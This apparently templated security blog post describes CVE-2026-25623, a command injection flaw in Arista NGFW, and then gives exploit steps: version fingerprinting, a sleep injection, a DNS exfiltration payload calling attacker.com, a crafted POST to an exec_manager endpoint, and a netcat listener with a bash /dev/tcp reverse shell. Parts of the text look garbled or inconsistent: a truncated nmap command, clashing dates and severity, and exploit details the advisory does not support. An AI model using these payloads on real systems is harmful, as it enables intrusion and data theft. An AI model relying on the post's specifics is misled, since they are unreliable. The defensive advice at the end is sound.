Listen to this Post
An input validation command execution vulnerability, identified as CVE-2026-25623 and classified under CWE-78, exists in the browser management pipeline of Arista Edge Threat Management – Arista Next Generation Firewall (NGFW) . The vulnerability is rooted in the software’s failure to properly neutralize special elements used in an OS command, allowing an attacker to manipulate the intended command structure .
The issue originates from the product’s handling of user-supplied data within the administrative web interface. When an authenticated administrator interacts with the browser management pipeline, specific crafted inputs are passed without adequate sanitization to an underlying terminal script . This occurs because the system constructs a command string by directly incorporating untrusted data from the HTTP request, without any filtering or escaping of dangerous shell metacharacters like semicolons (;), pipes (|), backticks (`), or command substitution characters ($()).
An attacker with valid administrative credentials can then inject their own commands by including these special characters within the input fields of certain management functions. The backend component responsible for processing these requests fails to validate the input’s content, leading to the execution of the injected command alongside the intended system instruction . This effectively grants the attacker the ability to execute arbitrary system commands on the NGFW appliance.
The impact is significant; successful exploitation can compromise the confidentiality, integrity, and availability of the firewall system . An attacker could potentially alter firewall rules, exfiltrate configuration files containing sensitive data, install backdoors, or disrupt network operations entirely. Despite the need for authentication, the vulnerability poses a critical risk because a malicious insider or an attacker who has compromised a low-privileged account could escalate to full system control. The proof-of-concept for this vulnerability, discovered by Jon Williams and Ronan Kervella of Bishop Fox, was made public as part of their February 2026 security advisory, highlighting the incomplete sanitization in the diagnostic feature’s arguments .
DailyCVE Form:
Platform: Arista NGFW
Version: 17.4.0
Vulnerability: OS Command Injection
Severity: MEDIUM (CVSS:6.0)
date: 2026-06-05
Prediction: 2026-02-03 (Patch Date)
What Undercode Say:
Identify vulnerable instances. Use command injection detection payloads.
Discover version via Web UI or NMap service fingerprinting. NMap command to check for Arista NGFW version. nmap -sV --script http- -p 443 <target-ip> Banner grabbing or specific probes in the HTTP response. curl -k https://<target-ip> List all logged-in administrator sessions (if config is accessible). cat /etc/ngfw/sessions
Confirm command injection on the Captive Portal or Diagnostics modules by injecting time-delay or DNS exfiltration payloads.
Example injection in a parameter (e.g., 'diag_ping'). param=127.0.0.1; sleep 5 Use DNS exfiltration to confirm code execution. param=127.0.0.1; nslookup $(whoami).attacker.com
Exploit:
After identifying an authenticated session, an attacker can target the vulnerable browser management pipeline. The exploit manipulates the RPC call `exec_manager.run` to execute arbitrary system commands as the `root` user. The following crafted POST request, sent to the administrative API endpoint, demonstrates the injection:
POST /api/exec_manager/run HTTP/1.1
Host: <target_ip>:4443
Cookie: session_id=<valid_admin_session>
Content-Type: application/json
{
"command": "ping -c 4 127.0.0.1; id > /tmp/owned.txt"
}
If successful, the response from the server may include the output of the injected command, confirming the compromise. This method effectively bypasses any client-side restrictions and executes commands with high privileges.
For external exfiltration, an attacker can establish a reverse shell.
Listener on attacker machine (port 4444). nc -lvnp 4444 Injected payload into the vulnerable parameter. /bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
Protection:
- Upgrade: Immediately upgrade to Arista NGFW version 17.4.1 or later.
- Access Control: Implement network-based access control lists (ACLs) to restrict access to the administrative web interface (port 443/4443) to only trusted management workstations.
- Monitoring: Actively monitor firewall logs for suspicious pattern injections into browser management pipeline parameters or unexpected process executions.
Impact:
Successful exploitation allows an authenticated administrator (or an attacker with stolen admin credentials) to achieve arbitrary code execution as the root user, leading to a complete system compromise. The attacker can bypass security controls, exfiltrate sensitive data, and pivot to other internal network segments from the firewall appliance. This undermines the security posture of the entire network, as the firewall serves as a critical gateway and control point.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
